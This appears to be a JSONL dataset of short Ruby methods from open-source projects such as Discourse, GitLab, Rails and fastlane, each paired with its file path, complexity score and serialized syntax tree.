{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/mutable_constant.rb","start_line":91,"raw_source":"def recent_shareable_value?(node)\n            shareable_constant_comment = magic_comment_in_scope node\n            return false if shareable_constant_comment.nil?\n\n            shareable_constant_value = MagicComment.parse(shareable_constant_comment)\n                                                   .shareable_constant_value\n            shareable_constant_value_enabled? shareable_constant_value\n          end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"recent_shareable_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shareable_constant_comment\",{\"type\":\"send\",\"children\":[null,\"magic_comment_in_scope\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shareable_constant_comment\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"shareable_constant_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MagicComment\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"shareable_constant_comment\"]}]},\"shareable_constant_value\"]}]},{\"type\":\"send\",\"children\":[null,\"shareable_constant_value_enabled?\",{\"type\":\"lvar\",\"children\":[\"shareable_constant_value\"]}]}]}]}","id":"94dda904-9e4d-4733-bbe4-a80bbb781f1c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb","start_line":154,"raw_source":"def failed?\n            !passed? && !skipped?\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"passed?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skipped?\"]},\"!\"]}]}]}","id":"40a87d4d-de25-4cc6-b8e3-38df5d56605a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/batched_migration_job.rb","start_line":72,"raw_source":"def cursor(*args)\n          define_singleton_method(:cursor_columns) do\n            args\n          end\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cursor\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"cursor_columns\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"2c9bcd5c-7a5e-4546-aed9-54852d58c68b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/thinking.rb","start_line":15,"raw_source":"def partial?\n        !!@partial\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"partial?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@partial\"]},\"!\"]},\"!\"]}]}","id":"72af91d1-e5dd-4987-9c12-5cc4f832d64d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":501,"raw_source":"def self.new_from_params(params)\n    user = User.new\n    user.name = params[:name]\n    user.email = params[:email]\n    user.password = params[:password]\n    user.username = params[:username]\n    user\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_from_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"password=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"dc861241-565f-4bc5-bb65-948328bd5d8c"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20241011080517_drop_password_columns_from_users.rb","start_line":5,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"a4df9414-1452-45b4-8a84-6807e45141b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":232,"raw_source":"def fresh_object_type(name = 'Object')\n    Class.new(::Types::BaseObject) { graphql_name name }\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fresh_object_type\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"Object\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"BaseObject\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"graphql_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"dfaf6bd1-351d-4dd3-9cf8-1955c3ba9b0c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":2751,"raw_source":"def import_chat_channels\n    unless defined?(::Chat)\n      puts \"\", \"Skipping chat channels, because the chat plugin is not installed.\"\n      return\n    end\n\n    puts \"\", \"Importing chat channels...\"\n\n    # Ideally, we’d like these to be set in `import_site_settings`,\n    # but since there’s no way to enforce that, we're defaulting to keeping all chats\n    # indefinitely for now\n    SiteSetting.chat_channel_retention_days = 0\n    SiteSetting.chat_dm_retention_days = 0\n\n    channels = query(<<~SQL)\n      SELECT *\n        FROM chat_channels\n       ORDER BY id\n    SQL\n\n    create_chat_channels(channels) do |row|\n      next if chat_channel_id_from_original_id(row[\"id\"]).present?\n\n      case row[\"chatable_type\"]\n      when \"Category\"\n        type = \"CategoryChannel\"\n        chatable_id = category_id_from_imported_id(row[\"chatable_id\"])\n      when \"DirectMessage\"\n        chatable_id = chat_direct_message_channel_id_from_original_id(row[\"chatable_id\"])\n        type = \"DirectMessageChannel\"\n      end\n\n      next if !chatable_id\n      # TODO: Add more uniqueness checks\n      #       Ensure no channel with same name and category exists?\n\n      {\n        original_id: row[\"id\"],\n        name: row[\"name\"],\n        description: row[\"description\"],\n        slug: row[\"slug\"],\n        status: row[\"status\"],\n        chatable_id: chatable_id,\n        chatable_type: row[\"chatable_type\"],\n        user_count: row[\"user_count\"],\n        messages_count: row[\"messages_count\"],\n        type: type,\n        created_at: to_datetime(row[\"created_at\"]),\n        allow_channel_wide_mentions: to_boolean(row[\"allow_channel_wide_mentions\"]),\n        auto_join_users: to_boolean(row[\"auto_join_users\"]),\n        threading_enabled: to_boolean(row[\"threading_enabled\"]),\n      }\n    end\n\n    channels.close\n  end","complexity_score":54.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_chat_channels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Skipping chat channels, because the chat plugin is not installed.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing chat channels...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_channel_retention_days=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_dm_retention_days=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"channels\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT *\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM chat_channels\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY id\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_chat_channels\",{\"type\":\"lvar\",\"children\":[\"channels\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel_id_from_original_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"present?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"chatable_type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Category\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"str\",\"children\":[\"CategoryChannel\"]}]},{\"type\":\"lvasgn\",\"children\":[\"chatable_id\",{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"chatable_id\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"DirectMessage\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chatable_id\",{\"type\":\"send\",\"children\":[null,\"chat_direct_message_channel_id_from_original_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"chatable_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"str\",\"children\":[\"DirectMessageChannel\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chatable_id\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"slug\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chatable_id\"]},{\"type\":\"lvar\",\"children\":[\"chatable_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chatable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"chatable_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"messages_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"to_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_channel_wide_mentions\"]},{\"type\":\"send\",\"children\":[null,\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"allow_channel_wide_mentions\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_join_users\"]},{\"type\":\"send\",\"children\":[null,\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auto_join_users\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threading_enabled\"]},{\"type\":\"send\",\"children\":[null,\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"threading_enabled\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channels\"]},\"close\"]}]}]}","id":"1e6190d3-fb8d-4543-baf9-d4770e40fe6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/migration_schema_validator.rb","start_line":233,"raw_source":"def die(message, error_code: 1)\n    puts \"\\e[31mError: #{message}\\e[0m\"\n    exit error_code\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"die\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"error_code\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[31mError: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\u001b[0m\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"lvar\",\"children\":[\"error_code\"]}]}]}]}","id":"e94f223f-90e9-4d77-88b3-c48acf67988f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/spec/commands_generator_spec.rb","start_line":74,"raw_source":"def expect_githelper_clone_with(git_url, shallow_clone, git_branch)\n      fake_storage = \"fake_storage\"\n      fake_working_directory = \"fake_working_directory\"\n      fake_encryption = \"fake_encryption\"\n\n      expect(Match::Storage::GitStorage).to receive(:configure).with({\n        git_url: git_url,\n        shallow_clone: shallow_clone,\n        skip_docs: false,\n        git_branch: git_branch[:branch],\n        clone_branch_directly: git_branch[:clone_branch_directly],\n        git_full_name: nil,\n        git_user_email: nil,\n\n        git_private_key: nil,\n        git_basic_authorization: nil,\n        git_bearer_authorization: nil,\n\n        type: \"development\",\n        platform: \"ios\"\n      }).and_return(fake_storage)\n\n      expect(fake_storage).to receive(:download)\n      allow(fake_storage).to receive(:working_directory).and_return(fake_working_directory)\n      allow(fake_storage).to receive(:keychain_name).and_return(\"https://github.com/fastlane/certs\")\n\n      expect(Match::Encryption).to receive(:for_storage_mode).with(\"git\", {\n        git_url: git_url,\n        s3_bucket: nil,\n        s3_skip_encryption: false,\n        working_directory: fake_working_directory\n      }).and_return(fake_encryption)\n\n      expect(fake_encryption).to receive(:decrypt_files)\n      expect(FastlaneCore::UI).to receive(:success).with(\"Repo is at: '#{fake_working_directory}'\")\n    end","complexity_score":40.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_githelper_clone_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"git_url\"]},{\"type\":\"arg\",\"children\":[\"shallow_clone\"]},{\"type\":\"arg\",\"children\":[\"git_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fake_storage\",{\"type\":\"str\",\"children\":[\"fake_storage\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fake_working_directory\",{\"type\":\"str\",\"children\":[\"fake_working_directory\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fake_encryption\",{\"type\":\"str\",\"children\":[\"fake_encryption\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"Storage\"]},\"GitStorage\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"configure\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_url\"]},{\"type\":\"lvar\",\"children\":[\"git_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shallow_clone\"]},{\"type\":\"lvar\",\"children\":[\"shallow_clone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_docs\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_branch\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone_branch_directly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_branch\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"clone_branch_directly\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_full_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_user_email\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_private_key\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_basic_authorization\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_bearer_authorization\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"ios\"]}]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"fake_storage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"fake_storage\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"download\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"fake_storage\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"working_directory\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"fake_working_directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"fake_storage\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"keychain_name\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"https://github.com/fastlane/certs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"Encryption\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"for_storage_mode\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_url\"]},{\"type\":\"lvar\",\"children\":[\"git_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_bucket\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_skip_encryption\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"working_directory\"]},{\"type\":\"lvar\",\"children\":[\"fake_working_directory\"]}]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"fake_encryption\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"fake_encryption\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"decrypt_files\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"UI\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"success\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Repo is at: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fake_working_directory\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}","id":"f9a9e117-1634-4e70-aad2-123bea2176d8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":1429,"raw_source":"def destroy\n    @user = fetch_user_from_params\n    guardian.ensure_can_delete_user!(@user)\n\n    UserDestroyer.new(current_user).destroy(@user, delete_posts: true, context: params[:context])\n\n    render json: success_json\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"fetch_user_from_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_delete_user!\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserDestroyer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"destroy\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_posts\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"c641db61-7d39-48ef-8581-28cfd618d328"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/editor_form_field.rb","start_line":22,"raw_source":"def set_value(content)\n      editor.set_markdown(content)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editor\"]},\"set_markdown\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"0fcc1887-72b3-469e-aa87-f2e9f87769a4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/relationship.rb","start_line":197,"raw_source":"def grandchildren\n    t = self.class.arel_table\n    self.class.where(t[:ancestry].matches(\"#{child_ancestry}/%\", nil, true))\n        .where(t[:ancestry].does_not_match(\"#{child_ancestry}/%/%\", nil, true))\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"grandchildren\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"arel_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ancestry\"]}]},\"matches\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_ancestry\"]}]},{\"type\":\"str\",\"children\":[\"/%\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ancestry\"]}]},\"does_not_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_ancestry\"]}]},{\"type\":\"str\",\"children\":[\"/%/%\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"e7e91ec3-be0d-4ac7-a1b5-dedd14e57172"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/base_sanitization_filter.rb","start_line":21,"raw_source":"def call\n        Sanitize.clean_node!(doc, allowlist)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sanitize\"]},\"clean_node!\",{\"type\":\"send\",\"children\":[null,\"doc\"]},{\"type\":\"send\",\"children\":[null,\"allowlist\"]}]}]}","id":"f741a23b-5064-4ef3-8b98-f0a073a497f2"}
